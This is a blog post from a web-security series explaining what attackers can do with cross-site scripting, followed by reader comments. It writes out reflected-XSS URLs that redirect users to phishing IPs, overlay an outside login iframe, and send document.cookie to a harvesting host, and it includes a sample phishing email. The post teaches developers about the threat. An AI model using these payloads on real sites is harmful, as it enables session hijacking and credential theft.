What's Possible with XSS? - Security Series #8.1

So now that the hacker has discovered an XSS vulnerability in your site, what can he do with it? A JavaScript alert('XSS') seems pretty harmless, doesn't it?

Once a malicious user has discovered an XSS vulnerability in your web application, the sky is really the limit. The potential damage also goes beyond the scope of just your site and your users.

Here are a few examples of nefariousness that could be perpetrated via XSS in a website. A hacker could:

  • use the credibility of your site to run a phishing scheme
  • steal your users' passwords
  • hijack your users' sessions
  • try to launch an attack against the site administrator (you)
  • redirect your users to another site (gambling, porn, Google, affiliate link, whatever)
  • display inappropriate or mis-informative messages to your users
  • Or anything else that could be done with client-side executable code

How would they do those things? It's actually quite simple.

Borrowing your credibility for phishing

This one is sometimes hard to explain. So I will do my best.

Most of us have been taught some different methods of detecting a phishing scheme. For example, when we get an e-mail from some big name company (EBay, PayPal, Facebook, Amazon, etc) we are taught to mouse over the URL and make sure that if we click on a link that it is not really going to "http://12.45.67.203/ebay.com/login.php" or to "ebay.com.tempsite.cn/login.do", right? We know that much.

What if the big name site is our site? Let's call it bignamesite.com. And bignamesite.com has an XSS vulnerability in login.cfm. Well, when our users receive that phishing email and, like they are taught, mouse over those links, they might see "http://www.bignamesite.com/login.cfm?campaign=4343JKJKj&UIF=jJHHF987787...".

Well that certainly looks legit enough. It's not pointing to an IP address. And it's not pointing to some cleverly named sub-domain in China. So it's a legit link, right? Let's examine the WHOLE URL.


http://www.bignamesite.com/login.cfm?campaign=4343JKJKj&UIF=jJHHF987787&jgh=djjajsdkfsdf&errorMessage=<script>window.location='http://134.45.76.49/bignamesite.login.php'</script>

If any diligent user actually takes the time to mentally parse that URL string (and are capable of understanding it) they will see that there is a block of JavaScript at the end that will fire off a redirect to another domain. None of the other URL params need to mean anything. They are just there to mask the end param. The JS could even be hidden between params. So when the user saw that link they would "know" that it was safe, and click, then they would be redirected to a phishing site, that likely looks just like bignamesite.com.

The hacker has now used the credibility of your our bignamesite.com domain to launch an attack against our users. And it does not always need to be an attack against existing users. For example, if bignamesite.com was a site that could offer referrals to other sites, then they could send e-mails to as many people as possible hoping to steal credit card or identity theft information. For example, let's say that our site was something like a State or Federal Department. Something that is highly credible (as much as you may argue otherwise). And let's say that hundreds of thousands of users all over the country started receiving e-mails like this:

Dear Recipient,

We at the Fictional Department of Transportation have recently added a new service where you can run a report on your own driving record. Simply click on this link and answer some security questions for verification and you will be able to view your driving record in real-time.

This is a great way for you to keep track of your personal information and to clear up any mistakes that may exist on your driving record.

We hope you get great use out of this service.

Thank you,

Bureau of Records Fictional Department of Transportation

Of course, if you mouseover this link, you are going to get a legitimate looking link to a legit (if it were real) website. And if you mouse over it, you'll even see that the script tag gets chopped off the end because the URL string is so long. But it's there. Here is the whole URL.


"http://fictionaldot.gov/records/someexploitablepage.cfm?rec=6dhshjfjflds&uid=JLHKLLEIUUTUHHWJJW-HJHKH-GHGJGKHKH-HKH787868&errorMessage=<script>window.location='http://36.54.69.111/recordsform.php'</script>&HGH=dH8787JHJH

If this e-mail went out to hundreds of thousands of people in the US, how many do you think would click on it? Remember that a good phisher will go to the trouble of making the e-mail look "official". It would have the Department logo in it and would be nicely formatted. And the phishing site they were directed to would look just like the Department's official website. And it would have a simple form on it asking for Name, Address, Social Security Number and Driver's license number. It could even be secured with SSL, in case the users are smart enough to check that.

A LOT of people would click on that link. They would also fill out the form. And then they would probably get a message like:

We're sorry, due to the popularity of this new service, our servers are overloaded. Please try your request again later.

But by then, it is too late anyway. The user's information was sent when they clicked submit. It doesn't matter if they ever come back. And by the time enough people have reported the bogus site for what it is, the information of THOUSANDS of people will have been compromised. (I really don't have anything to back up my numbers, I just think there are a lot of gullible people out there).

Stealing User Passwords

Stealing passwords could be done in several ways. All of which can be easily done with XSS.

The first way I will mention would be by using the scheme from the above section. Simply redirecting the user to a site that looks like your site and using a form that looks like your login form, accept their username and password. Technically, they could even use those credentials to actually log them into your site and then redirect them back to your site. 99.99% of users would never notice the difference (more speculative numbers).

A similar method could use an <iframe> to display the login form. This way, the user would never actually leave your site from their perspective.


http://www.bignamesite.com/login.cfm?errorMessage=<iframe src="http://www.phishingsite.com/login.php" height="1280" width="1024" border="false"></frame>

This iframe would take up most of the browser window on most users' systems and could display a login page that looks just like your login page. Most users would probably not notice the scroll bars. Note also that the iframe method does not use JavaScript. So users with JS disabled would still be vulnerable to this one.

A hacker could also take this one step further using JavaScript.


http://www.bignamesite.com/login.cfm?errorMessage=<script>frame=document.createElement('iframe');frame.setAttribute('src','http://www.yahoo.com');frame.setAttribute('height',document.height);frame.setAttribute('width',document.width);document.getElementById("wrapper").appendChild(frame);</script>

This one, using JavaScript, creates an iframe that is exactly the same size the the browser document, so it takes up the entire screen and does not create any unusual scrollbars. A login page could be displayed to the end user here that is actually posted elsewhere, or even an entire navigable website could be displayed in this iframe to make the user think they are at one site, when really they are at another.

Stealing Users' session tokens

Stealing user session data with XSS is one of the first things that hackers learn at the HogsAss School of Hacking and Douchebaggery. It's really easy.

If your site is vulnerable, and a user is logged into it, and the user can be tricked into clicking on a link like this, their session tokens can be stolen and their session hijacked.


"http://fictionaldot.gov/records/someexploitablepage.cfm?rec=6dhshjfjflds&uid=JLHKLLEIUUTUHHWJJW-HJHKH-GHGJGKHKH-HKH787868&errorMessage=<script>window.location='http://36.54.69.111/sessionharvest.php?cookie=' + document.cookie</script>&HGH=dH8787JHJH

If you can parse that in your head, you'll see that this bit of JavaScript is embedded in there:


<script>window.location='http://36.54.69.111/sessionharvest.php?cookie=' + document.cookie</script>

This, obviously, redirects the user to another site, but what may not be obvious is that the JavaScript is going to also append ALL of the user's cookies for the victim site onto the URL string. So the user's session token cookies will also be sent. Those cookies can then be used to establish the session on the hackers machine and impersonate that user. Of course, this redirect might be obvious to the user, so either the hacker would then redirect them back to the victim site (without the malicious code) or he would create the exploit in a 1x1 iframe (using the method we saw above) where it would then occur in the background unbeknownst to our users.

Attacks against the site administrator

Anything an attacker can try against your users, he can try against you. The site admin is just another site user. Your session can be hijacked, your credentials can be stolen, you can be redirected to a phony site. You may think that you can spot a phony. I bet there are some you'd have a hard time with.

Redirection and Misinformation

These are both relatively simple hacks. We've already seen how redirection can be done for the purposes of session hijacking. But some hackers would love nothing more than to simply redirect all of your users to porn sites using their affiliate links. If your site is vulnerable to XSS, then that is quite easy. Additionally, if the victim site is vulnerable to cross-site scripting AND SQL injection, then the hacker could inject an XSS payload into the database and have it served, automatically, to ALL of your site visitors. If injected in the right place(s) it could affect every page on your site. So imagine every page and every visitor, redirected.

Misinformation delivery can be used in combination with social networking to trick your users into doing things they otherwise would not.

For example, have you ever seen a link like this:


http://ww.bignamesite.com/login.cfm?error=Your+Login+Failed,+please+try+again

We've all done it. You want to pass information from one request to another, so you do it in the URL string. It seems harmless enough, but when that information (like an error message) is displayed to an end user, it can be dangerous. As we've already discussed ad nauseam, this could be injected with redirect scripts, phishing iframes, and more. But it could also be used to feed misinformation to your end users.


http://ww.bignamesite.com/login.cfm?error=There+seems+to+be+a+problem+with+your+account.+Please+call+us+at+900-333-4400.+Have+your+password+ready,+we+will+need+it+to+unlock+your+account.

Conclusion

I hope that I have shown you something of interest. I think a lot of people think that XSS is mostly about redirects and making alert('XSS') show up on your screen. But it can be a very destructive attack, especially if it can be targeted at known users, or paired with SQL Injection.

I've told you what's possible, next I will tell you what you can do about it. In my next post, we will look at how we can mitigate XSS attacks using ColdFusion and the Java ESAPI project. I'll tell you right now, there is more to XSS mitigation than HTMLEditFormat() and XMLFormat(). If you think that either of those two functions are all you need to stop XSS, then be sure to read my next post. You'll be in for a surprise.

Comments
Nathan Mische's Gravatar Great post. Speaking of ESAPI, what happened with the CF ESAPI project? Is that still active?
# Posted By Nathan Mische | 9/20/10 12:03 PM
Jason Dean's Gravatar Thanks for the comment Nathan.

In all honesty, I had abandoned the CFESAPI project over a year ago because I did not have time for it and I was not "ready" for it. Since then, I have learned a lot and the picture of what CFESAPI should do is clearer for me. There has also been some renewed interest.

About 4 weeks ago, I went back to the source code that I had for CFESAPI and started over. I have been feverishly working on it since. I think it is going well. I have been hesitant to talk about it in public for fear that I would fail at implementing it again.

Right now, my hope is to have an alpha of the project out in the next couple months.

Now that I am posting something about it publicly, I am going to be REALLY embarrassed if I fail again.

If anyone wants to see what I have so far and give me some feedback, it's probably a good time for it. Send me an email and I will get you SVN access to take a look.
# Posted By Jason Dean | 9/20/10 1:09 PM
BlogCFC was created by Raymond Camden. This blog is running version 5.9.1. Contact Blog Owner